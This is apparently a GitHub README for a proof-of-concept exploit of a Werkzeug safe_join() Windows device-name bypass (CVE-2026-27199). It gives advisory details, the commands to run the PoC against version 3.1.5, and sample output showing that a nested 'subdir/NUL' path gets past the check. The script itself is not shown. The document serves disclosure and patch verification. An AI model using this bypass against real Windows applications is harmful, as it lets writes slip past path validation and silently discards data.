alimezar/cve-2026-27199-werkzeug-safe-join-bypass-pocProof-of-concept exploit for CVE-2026-27199, a Werkzeug safe_join() Windows device-name bypass, demonstrating path traversal and silent data discard.
safe_join() Windows Device-Name BypassStatus: Publicly disclosed. Fixed in werkzeug 3.1.6.
Severity: Moderate
Reporter: @alimezar
Advisory: GHSA-29vq-49wr-vm6x
| Package | Affected | Patched |
|---|
| werkzeug | < 3.1.6 | 3.1.6 |
Requires: Windows, Python 3.8+,
werkzeug < 3.1.6
pip install "werkzeug==3.1.5"
python poc_CVE-2026-27199.py
============================================================
CVE-2026-27199 — Werkzeug safe_join() PoC
============================================================
[*] Werkzeug version : 3.1.5
[*] os.name : nt
[+] safe_join(base, 'NUL') -> None (correctly blocked)
[!] safe_join(base, 'subdir/NUL') -> C:\...\subdir\NUL (bypass!)
[*] Attempting to write to the returned path ...
[!] open(nested NUL) write: SUCCESS — data silently discarded by device
[!] VULNERABLE: CVE-2026-27199 confirmed on this installation.
Upgrade to werkzeug >= 3.1.6 to remediate.
[+] safe_join(base, 'subdir/NUL') -> None (correctly blocked)
[+] NOT VULNERABLE: nested device name was blocked.
This PoC is published for educational and defensive purposes following responsible disclosure and public patch availability.